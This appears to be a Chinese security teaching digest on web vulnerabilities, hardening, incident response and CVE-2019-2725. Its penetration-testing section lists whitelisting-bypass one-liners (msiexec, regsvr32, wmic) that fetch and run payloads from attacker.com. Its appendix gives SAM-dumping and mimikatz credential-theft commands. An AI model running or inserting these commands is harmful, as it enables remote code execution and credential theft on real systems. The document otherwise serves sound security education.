专注Web及移动安全[红日安全82期]
字数 2510 2025-08-18 11:38:36

Web及移动安全综合教学文档

一、认证安全问题总结

  1. 常见认证漏洞类型

    • 弱密码策略
    • 密码明文传输
    • 会话固定攻击
    • 会话超时设置不当
    • 多因素认证绕过
    • CSRF防护缺失
    • JWT实现缺陷
  2. 防护措施

    • 实施强密码策略(长度、复杂度、定期更换)
    • 使用HTTPS传输认证信息
    • 会话令牌随机化、加密
    • 设置合理的会话超时时间
    • 实现完整的CSRF防护机制
    • 正确实现JWT签名验证

二、Web安全攻防解析

1. SQL注入

  • 攻击方式:通过构造恶意SQL语句绕过认证或获取数据
  • 防御措施
    • 使用参数化查询
    • 实施最小权限原则
    • 输入验证和过滤
    • 使用ORM框架

2. XSS(跨站脚本)

  • 类型
    • 存储型XSS
    • 反射型XSS
    • DOM型XSS
  • 防御措施
    • 输出编码
    • 内容安全策略(CSP)
    • HttpOnly Cookie标志
    • 输入验证和过滤

3. CSRF(跨站请求伪造)

  • 攻击原理:利用用户已认证状态执行非预期操作
  • 防御措施
    • 使用CSRF Token
    • 检查Referer头
    • 关键操作二次认证

4. 文件上传漏洞

  • 攻击方式:上传恶意文件获取服务器控制权
  • 防御措施
    • 文件类型白名单验证
    • 文件内容检查
    • 随机化文件名
    • 存储在非Web目录

5. 反序列化漏洞

  • 典型案例:WebLogic反序列化漏洞(CVE-2019-2725)
  • 防御措施
    • 避免反序列化不可信数据
    • 使用安全的序列化格式(如JSON)
    • 实施严格的类型检查

6. 目录遍历

  • 攻击方式:通过../等特殊字符访问系统文件
  • 防御措施
    • 规范化路径
    • 实施访问控制
    • 使用安全的文件API

三、渗透测试技术

1. 白名单绕过技术

  1. Msiexec执行Payload

    • 技术要点:利用Windows安装程序执行恶意代码
    • 命令示例:msiexec /q /i http://attacker.com/evil.msi
  2. Regsvr32执行Payload

    • 技术要点:利用COM组件注册功能执行脚本
    • 命令示例:regsvr32 /s /n /u /i:http://attacker.com/evil.sct scrobj.dll
  3. Wmic执行Payload

    • 技术要点:利用Windows管理工具执行远程XSL脚本
    • 命令示例:wmic os get /format:"http://attacker.com/evil.xsl"
  4. Rundll32执行Payload

    • 技术要点:利用DLL加载机制执行代码
    • 命令示例:rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe");

2. 渗透测试工具

  1. sshLooter - SSH密码记录工具

    • 功能:记录SSH登录凭据
    • 使用场景:后渗透阶段收集凭证
  2. Pupy - 全平台远程控制工具

    • 特点:跨平台、内存驻留、支持多种传输协议
    • 功能:远程控制、凭证窃取、键盘记录
  3. Pythem - Python网络/渗透测试工具

    • 功能:中间人攻击、网络嗅探、协议分析
  4. Dirmap - 高级Web目录扫描工具

    • 特点:支持多种检测算法
    • 功能:目录爆破、敏感文件发现

四、代码审计要点

1. PHP反序列化漏洞

  • 漏洞原理:当unserialize()函数处理用户可控数据时可能触发对象注入
  • 危险函数
    • unserialize()
    • magic方法(__wakeup, __destruct等)
  • 利用方式
    • 注入恶意对象执行任意代码
    • 利用POP链(Property-Oriented Programming)
  • 防御措施
    • 避免反序列化用户输入
    • 使用JSON等安全格式交换数据
    • 实现严格的类型检查

2. 弱类型比较问题

  • 典型案例
    if($_GET['password'] == 'admin123') {
        // 认证通过
    }
    
    • 攻击者可通过password=0绕过
  • 防御措施
    • 使用===严格比较
    • 类型转换后比较
    • 使用hash_equals()比较哈希值

五、系统安全加固

1. Windows安全加固

  1. 账户策略

    • 禁用Guest账户
    • 重命名Administrator账户
    • 设置强密码策略
  2. 服务加固

    • 禁用不必要的服务
    • 设置服务最小权限
  3. 日志审计

    • 启用安全审计策略
    • 集中管理日志
  4. 补丁管理

    • 定期安装安全更新
    • 关注0day漏洞公告

2. Linux安全加固

  1. 账户安全

    • 禁用root远程登录
    • 使用sudo分配权限
    • 设置umask 027
  2. 服务安全

    • 禁用不必要的服务
    • 使用防火墙限制访问
  3. 文件系统安全

    • 设置关键文件权限
    • 使用chattr防止篡改
  4. 内核加固

    • 启用SELinux/AppArmor
    • 配置sysctl安全参数

六、漏洞复现与分析

1. WebLogic反序列化漏洞(CVE-2019-2725)

  • 漏洞描述:WebLogic wls9-async组件存在反序列化漏洞
  • 影响版本:10.3.6.0, 12.1.3.0
  • 利用方式
    1. 构造恶意序列化数据
    2. 通过异步通信服务发送
    3. 触发反序列化执行任意代码
  • 修复方案
    • 安装官方补丁
    • 禁用wls9-async组件
    • 限制访问路径

2. Atlassian Confluence漏洞

  • 漏洞类型:目录穿越+远程代码执行
  • 利用链
    1. 通过Widget Connector插件的目录穿越读取配置文件
    2. 获取Confluence安装信息
    3. 构造恶意请求执行代码
  • 修复方案
    • 升级到安全版本
    • 限制插件权限
    • 实施网络隔离

七、安全意识提升

  1. 六个提升方向

    • 定期安全培训
    • 模拟钓鱼测试
    • 安全知识竞赛
    • 建立报告机制
    • 安全绩效考核
    • 持续安全宣传
  2. 等保2.0应对

    • 理解新标准变化
    • 开展差距分析
    • 制定整改计划
    • 准备测评材料

八、安全监控与响应

  1. 日志分析要点

    • 异常登录行为
    • 敏感操作记录
    • 系统错误信息
    • 性能异常指标
  2. 应急响应流程

    1. 事件确认
    2. 影响评估
    3. 遏制措施
    4. 根除恢复
    5. 事后复盘

九、附录:实用命令速查

  1. Windows渗透命令

    # 转储SAM哈希
    reg save HKLM\SAM sam.save
    reg save HKLM\SYSTEM system.save
    
    # 抓取密码哈希
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
    
  2. Linux取证命令

    # 查看登录记录
    last -a
    
    # 检查异常进程
    ps auxf
    
    # 检查网络连接
    netstat -antup
    
  3. Web漏洞检测

    # SQL注入测试
    sqlmap -u "http://example.com?id=1" --risk=3 --level=5
    
    # XSS检测
    xsstrike.py -u "http://example.com/search?q=test"
    
Web及移动安全综合教学文档 一、认证安全问题总结 常见认证漏洞类型 : 弱密码策略 密码明文传输 会话固定攻击 会话超时设置不当 多因素认证绕过 CSRF防护缺失 JWT实现缺陷 防护措施 : 实施强密码策略(长度、复杂度、定期更换) 使用HTTPS传输认证信息 会话令牌随机化、加密 设置合理的会话超时时间 实现完整的CSRF防护机制 正确实现JWT签名验证 二、Web安全攻防解析 1. SQL注入 攻击方式 :通过构造恶意SQL语句绕过认证或获取数据 防御措施 : 使用参数化查询 实施最小权限原则 输入验证和过滤 使用ORM框架 2. XSS(跨站脚本) 类型 : 存储型XSS 反射型XSS DOM型XSS 防御措施 : 输出编码 内容安全策略(CSP) HttpOnly Cookie标志 输入验证和过滤 3. CSRF(跨站请求伪造) 攻击原理 :利用用户已认证状态执行非预期操作 防御措施 : 使用CSRF Token 检查Referer头 关键操作二次认证 4. 文件上传漏洞 攻击方式 :上传恶意文件获取服务器控制权 防御措施 : 文件类型白名单验证 文件内容检查 随机化文件名 存储在非Web目录 5. 反序列化漏洞 典型案例 :WebLogic反序列化漏洞(CVE-2019-2725) 防御措施 : 避免反序列化不可信数据 使用安全的序列化格式(如JSON) 实施严格的类型检查 6. 目录遍历 攻击方式 :通过../等特殊字符访问系统文件 防御措施 : 规范化路径 实施访问控制 使用安全的文件API 三、渗透测试技术 1. 白名单绕过技术 Msiexec执行Payload 技术要点:利用Windows安装程序执行恶意代码 命令示例: msiexec /q /i http://attacker.com/evil.msi Regsvr32执行Payload 技术要点:利用COM组件注册功能执行脚本 命令示例: regsvr32 /s /n /u /i:http://attacker.com/evil.sct scrobj.dll Wmic执行Payload 技术要点:利用Windows管理工具执行远程XSL脚本 命令示例: wmic os get /format:"http://attacker.com/evil.xsl" Rundll32执行Payload 技术要点:利用DLL加载机制执行代码 命令示例: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe"); 2. 渗透测试工具 sshLooter - SSH密码记录工具 功能:记录SSH登录凭据 使用场景:后渗透阶段收集凭证 Pupy - 全平台远程控制工具 特点:跨平台、内存驻留、支持多种传输协议 功能:远程控制、凭证窃取、键盘记录 Pythem - Python网络/渗透测试工具 功能:中间人攻击、网络嗅探、协议分析 Dirmap - 高级Web目录扫描工具 特点:支持多种检测算法 功能:目录爆破、敏感文件发现 四、代码审计要点 1. PHP反序列化漏洞 漏洞原理 :当unserialize()函数处理用户可控数据时可能触发对象注入 危险函数 : unserialize() magic方法(__ wakeup, __ destruct等) 利用方式 : 注入恶意对象执行任意代码 利用POP链(Property-Oriented Programming) 防御措施 : 避免反序列化用户输入 使用JSON等安全格式交换数据 实现严格的类型检查 2. 弱类型比较问题 典型案例 : 攻击者可通过 password=0 绕过 防御措施 : 使用===严格比较 类型转换后比较 使用hash_ equals()比较哈希值 五、系统安全加固 1. Windows安全加固 账户策略 : 禁用Guest账户 重命名Administrator账户 设置强密码策略 服务加固 : 禁用不必要的服务 设置服务最小权限 日志审计 : 启用安全审计策略 集中管理日志 补丁管理 : 定期安装安全更新 关注0day漏洞公告 2. Linux安全加固 账户安全 : 禁用root远程登录 使用sudo分配权限 设置umask 027 服务安全 : 禁用不必要的服务 使用防火墙限制访问 文件系统安全 : 设置关键文件权限 使用chattr防止篡改 内核加固 : 启用SELinux/AppArmor 配置sysctl安全参数 六、漏洞复现与分析 1. WebLogic反序列化漏洞(CVE-2019-2725) 漏洞描述 :WebLogic wls9-async组件存在反序列化漏洞 影响版本 :10.3.6.0, 12.1.3.0 利用方式 : 构造恶意序列化数据 通过异步通信服务发送 触发反序列化执行任意代码 修复方案 : 安装官方补丁 禁用wls9-async组件 限制访问路径 2. Atlassian Confluence漏洞 漏洞类型 :目录穿越+远程代码执行 利用链 : 通过Widget Connector插件的目录穿越读取配置文件 获取Confluence安装信息 构造恶意请求执行代码 修复方案 : 升级到安全版本 限制插件权限 实施网络隔离 七、安全意识提升 六个提升方向 : 定期安全培训 模拟钓鱼测试 安全知识竞赛 建立报告机制 安全绩效考核 持续安全宣传 等保2.0应对 : 理解新标准变化 开展差距分析 制定整改计划 准备测评材料 八、安全监控与响应 日志分析要点 : 异常登录行为 敏感操作记录 系统错误信息 性能异常指标 应急响应流程 : 事件确认 影响评估 遏制措施 根除恢复 事后复盘 九、附录:实用命令速查 Windows渗透命令 : Linux取证命令 : Web漏洞检测 :